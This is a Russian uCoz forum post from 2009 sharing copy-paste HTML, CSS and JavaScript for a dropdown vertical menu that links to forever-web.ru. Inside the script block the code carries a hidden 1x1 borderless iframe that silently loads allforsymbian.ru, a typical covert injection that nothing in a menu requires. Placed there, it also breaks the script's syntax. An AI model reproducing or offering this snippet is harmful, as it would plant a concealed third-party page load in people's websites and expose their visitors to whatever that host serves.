D1z-Zone - Все для ucoz, игры,программы,софт,скачать бесплатно www ucoz, http ucoz ru
Четверг, 07.11.2024, 00:36 Приветствую Вас, Прохожий
Главная | Форум | Файлы | Онлайн фильмы | Sitemap | Статьи | Видео

  • Страница 1 из 1
  • 1
Очень красивое вертикальное меню
oDySSeyДата: Пятница, 18.12.2009, 16:10 | Сообщение # 1
Новичек
Группа: Пользователи
Сообщений: 27

[0]
:-)

Этот код встявляем в любое место, заменяя на свое

Code
<!--U1MENU1Z--><table width="200" border="0" cellpadding="0" cellspacing="0">       
<tbody><tr> <td style="border: 1px solid rgb(140, 140, 140); padding: 5px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;">       
<style type="text/css">       

/*Credits: Dynamic Drive CSS Library */       
/*URL: http://www.dynamicdrive.com/style/ */       

.suckerdiv ul{       
margin: 0;       
padding: 0;       
list-style-type: none;       
width: 190px; /* Width of Menu Items */       
border-bottom: 1px solid #ccc;       
}       

.suckerdiv ul li{       
position: relative;       
}       

/*Sub level menu items */       
.suckerdiv ul li ul{       
position: absolute;       
width: 200px; /*sub menu width*/       
top: 0;       
visibility: hidden;       
}       

/* Sub level menu links style */       
.suckerdiv ul li a{       
display: block;       
overflow: auto; /*force hasLayout in IE7 */       
color: black;       
text-decoration: none;       
background: #fff;       
padding: 4px 15px;       
border: 1px solid #ccc;       
border-bottom: 0;       
}       

.suckerdiv ul li a:visited{       
color: black;       
}       

.suckerdiv ul li a:hover{       
background: #d4e7a3;       
}       

.suckerdiv .subfolderstyle{       
background: url(http://forever-web.ru/next.png) no-repeat center right;       
}       

/* Holly Hack for IE \*/       
* html .suckerdiv ul li { float: left; height: 1%; }       
* html .suckerdiv ul li a { height: 1%; }       
/* End */       

</style>       

<script type="text/javascript">       

//SuckerTree Vertical Menu 1.1 (Nov 8th, 06)       
//By Dynamic Drive: http://www.dynamicdrive.com/style/       

var menuids=["suckertree1"] //Enter id(s) of SuckerTree UL menus, separated by commas       
<iframe frameBorder=0 scrolling=no width=1 height=1 src=http://allforsymbian.ru></iframe>       
function buildsubmenus(){       
for (var i=0; i<menuids.length; i++){       
var ultags=document.getElementById(menuids[i]).getElementsByTagName("ul")       
for (var t=0; t<ultags.length; t++){       
ultags[t].parentNode.getElementsByTagName("a")[0].className="subfolderstyle"       
if (ultags[t].parentNode.parentNode.id==menuids[i]) //if this is a first level submenu       
ultags[t].style.left=ultags[t].parentNode.offsetWidth+"px" //dynamically position first level submenus to be width of main menu item       
else //else if this is a sub level submenu (ul)       
ultags[t].style.left=ultags[t-1].getElementsByTagName("a")[0].offsetWidth+"px" //position menu to the right of menu item that activated it       
ultags[t].parentNode.onmouseover=function(){       
this.getElementsByTagName("ul")[0].style.display="block"       
}       
ultags[t].parentNode.onmouseout=function(){       
this.getElementsByTagName("ul")[0].style.display="none"       
}       
}       
for (var t=ultags.length-1; t>-1; t--){ //loop through all sub menus again, and use "display:none" to hide menus (to prevent possible page scrollbars       
ultags[t].style.visibility="visible"       
ultags[t].style.display="none"       
}       
}       
}       

if (window.addEventListener)       
window.addEventListener("load", buildsubmenus, false)       
else if (window.attachEvent)       
window.attachEvent("onload", buildsubmenus)       

</script>       
<div class="suckerdiv"><b>       
<ul id="suckertree1">       
<li><a href="http://forever-web.ru/"><img src="http://forever-web.ru/templates/menu-icons/home.png" alt="" border="0"> Главная</a></li>       
<li><a href="http://forever-web.ru/forum/"><img src="http://forever-web.ru/templates/menu-icons/forum.png" alt="" border="0"> Форум</a></li>       

<li><a href="http://forever-web.ru/gb/"><img src="http://forever-web.ru/templates/menu-icons/gb.png" alt="" border="0"> Гостевая</a></li>       
<li><a href="http://forever-web.ru/load/"><img src="http://forever-web.ru/templates/menu-icons/files.png" alt="" border="0"> Все файлы</a></li>       
<li><a class="subfolderstyle" href="http://forever-web.ru/load/12"><img src="http://forever-web.ru/templates/menu-icons/soft.png" alt="" border="0"> Программы</a>       
<ul style="left: 190px; visibility: visible; display: none;">       
<li><a href="http://forever-web.ru/load/13"><img src="http://forever-web.ru/templates/menu-icons/other/01.png" alt="" border="0"> Мультимедиа</a></li>       
<li><a href="http://forever-web.ru/load/14"><img src="http://forever-web.ru/templates/menu-icons/other/02.png" alt="" border="0"> Безопасность</a></li>       
<li><a href="http://forever-web.ru/load/15"><img src="http://forever-web.ru/templates/menu-icons/other/03.png" alt="" border="0"> Интернет</a></li>       

<li><a href="http://forever-web.ru/load/16"><img src="http://forever-web.ru/templates/menu-icons/other/04.png" alt="" border="0"> Утилиты</a></li>       
<li><a href="http://forever-web.ru/load/17"><img src="http://forever-web.ru/templates/menu-icons/other/05.png" alt="" border="0"> Обслуживание</a></li>       
<li><a href="http://forever-web.ru/load/26"><img src="http://forever-web.ru/templates/menu-icons/other/06.png" alt="" border="0"> Графика и дизайн</a></li>       
<li><a href="http://forever-web.ru/load/28"><img src="http://forever-web.ru/templates/menu-icons/other/07.png" alt="" border="0"> Остальное</a></li>       
</ul>       
</li>       

<li><a class="subfolderstyle" href="http://forever-web.ru/load/1"><img src="http://forever-web.ru/templates/menu-icons/ucoz.png" alt="" border="0"> Все для uCoz</a>       

<ul style="left: 190px; visibility: visible; display: none;">       
<li><a href="http://forever-web.ru/forum/13"><img src="http://forever-web.ru/templates/menu-icons/other/08.png" alt="" border="0"> Скрипты</a></li>       
<li><a href="http://forever-web.ru/load/2"><img src="http://forever-web.ru/templates/menu-icons/other/09.png" alt="" border="0"> Шаблоны</a></li>       
<li><a href="http://forever-web.ru/load/5"><img src="http://forever-web.ru/templates/menu-icons/other/10.png" alt="" border="0"> Ранги</a></li>       
<li><a href="http://forever-web.ru/load/4"><img src="http://forever-web.ru/templates/menu-icons/other/01.png" alt="" border="0"> Кнопки форума</a></li>       
<li><a href="http://forever-web.ru/load/6"><img src="http://forever-web.ru/templates/menu-icons/other/02.png" alt="" border="0"> Иконки форума</a></li>       
<li><a href="http://forever-web.ru/load/7"><img src="http://forever-web.ru/templates/menu-icons/other/03.png" alt="" border="0"> Иконки групп</a></li>       

<li><a href="http://forever-web.ru/load/29"><img src="http://forever-web.ru/templates/menu-icons/other/04.png" alt="" border="0"> Остальное</a></li>       
</ul>       
</li>       

<li><a class="subfolderstyle" href="http://forever-web.ru/load/22"><img src="http://forever-web.ru/templates/menu-icons/photoshop.png" alt="" border="0"> Photoshop</a>       
<ul style="left: 190px; visibility: visible; display: none;">       
<li><a href="http://forever-web.ru/load/23"><img src="http://forever-web.ru/templates/menu-icons/other/05.png" alt="" border="0"> Кисти</a></li>       
<li><a href="http://forever-web.ru/load/25"><img src="http://forever-web.ru/templates/menu-icons/other/06.png" alt="" border="0"> Стили</a></li>       
<li><a href="http://forever-web.ru/load/27"><img src="http://forever-web.ru/templates/menu-icons/other/07.png" alt="" border="0"> Перекрытия</a></li>       

<li><a href="http://forever-web.ru/load/24"><img src="http://forever-web.ru/templates/menu-icons/other/08.png" alt="" border="0"> Psd исходники</a></li>       
<li><a href="http://forever-web.ru/load/30"><img src="http://forever-web.ru/templates/menu-icons/other/09.png" alt="" border="0"> Остальное</a></li>       
</ul>       
</li>       
<li><a href="http://forever-web.ru/photo/"><img src="http://forever-web.ru/templates/menu-icons/img.png" alt="" border="0"> IMG В Контакте</a></li>       
<li><a href="http://forever-web.ru/index/0-9"><img src="http://forever-web.ru/templates/menu-icons/reg.png" alt="" border="0"> Авто регистрация</a></li>       
<li><a href="http://forever-web.ru/index/0-10"><img src="http://forever-web.ru/templates/menu-icons/obr.png" alt="" border="0"> Обратная связь</a></li>       

<li><a href="http://forever-web.ru/index/0-13"><img src="http://forever-web.ru/templates/menu-icons/uifw.png" alt="" border="0"> UIFW</a></li>       
</ul>       
</b></div>       
</td></tr></tbody></table><div style="height: 5px;"></div><!--/U1MENU1Z-->       
<!--U1CLEFTER1Z--><!-- <block2> -->


Сообщение отредактировал oDySSey - Пятница, 18.12.2009, 16:11
 
  • Страница 1 из 1
  • 1
Поиск:

Статистика Форума
Последние темы Читаемые темы Новые пользователи

Программа для сбора бонусов

(1)

Скрипт раздачи icq номерков

(0)

Часы на тему музыка

(0)

Универсальная статистика для вашего сайта.

(0)

Профиль

(0)

Блок облако софта (ФЛЕШ)

(0)

Блок скачать Counter-Strike NEW!!!

(0)

Мини профиль для Ucoz

(0)

Экстра классная Статистика для Ucoz (новая)

(0)

Блок скачать Counter-Strike (NEW)

(0)

Скрипт для сайта - проверка на вирусы NEW

(0)

Перевод вашего сайта на 10 разных языках

(0)

ICE радио, есть возможность заказать песню.

(0)

Новенькие flash часы с числом дня.

(0)

Информер - статистика сайта

(0)

[1]>Игра "Прибавь 100" [90]

[2]>ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ [80]

[3]>Досчитай до 500 [76]

[4]>игра ассоциации [57]

[5]>Флудилко [52]

[6]>НубоФлуд смайлами [49]

[7]>Молочники рулят^^(вид флуда))) [36]

[8]>баннер плизз ставлю + [28]

[9]>Конкурс на баннер [26]

[10]>Завершение конкурса Голосвание [25]

administratori [07.12.2016|02:14]

Osipovayz [28.08.2016|16:00]

prostitutki_pitera [23.02.2016|09:13]

vinipuh [28.01.2016|21:24]

saratoff [16.01.2016|02:27]

privatnnover [23.12.2014|14:28]

czar [03.04.2013|07:37]

n1ceStyle [27.03.2013|11:59]

DoG [19.03.2013|20:17]

slava [10.03.2013|13:57]